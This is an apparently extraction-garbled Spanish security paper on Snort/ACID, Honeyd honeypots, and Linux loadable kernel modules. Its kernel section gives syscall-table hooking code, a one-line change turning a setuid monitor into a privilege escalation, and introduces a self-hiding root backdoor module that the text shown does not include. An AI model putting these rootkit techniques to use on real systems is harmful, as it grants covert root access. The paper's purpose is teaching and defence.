Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 4: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Introduccioacuten

En 1991 alguien llamado Linus B Torvalds se compra un PC (386) para intentar comprender de forma exhaustiva su funcionamiento Como es de imaginar el sistema M$ DOS cutre de la eacutepoca no aprovechaba el procesador 386 (ni siquiera usaba el modo protegido) asiacute que Linus cogioacute otro sistema llamado Minix con A Tanembaum como principal desarrollador y empezoacute a implementar y reprogramar funcionalidades hasta el puno en el que en 1991 ya disponiacuteamos de la versioacuten de Linux (contraccioacuten Linus + Unix) 001 que estaba muy lejos de ser lo que es hoy este potente sistema operativo

La primera versioacuten oficial (la 002) data del 5 de Octubre de 1991 y ya permitiacutea ejecutar ciertos programas GNU como bash Gracias a Internet y el esfuerzo de la comunidad sobre Marzo de 1994 estaba disponible la primera versioacuten estable 10 de nuestro querido sistema operativo de forma totalmente independiente y libre -)

En este trabajo voy a tratar ciertos aspectos sobre la seguridad del nuacutecleo tanto en versiones recientes 26 como en las no tan recientes series 22 y 24 con el objetivo de ver como podemos protegernos ante ataques que se realizan a nivel del Kernel en forma de rootkit y especialmente como funcionan este tipo de programas para comprometer la seguridad

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos

Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare

Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux

Compilador GCC en una versioacuten reciente

Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual

Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario

Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables

11- Obtener e instalar el coacutedigo fuente del nuacutecleo

El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL

httpwwwkernelorg

Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina

ln ndashs usrsrclinux-$(uname ndashr) linux

Teniendo eso en cuenta

root cd usrsrc

1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas

cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx

editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)

Kernel hacks y seguridad JMP

2- Conceptos baacutesicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos

1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30

El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado

f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

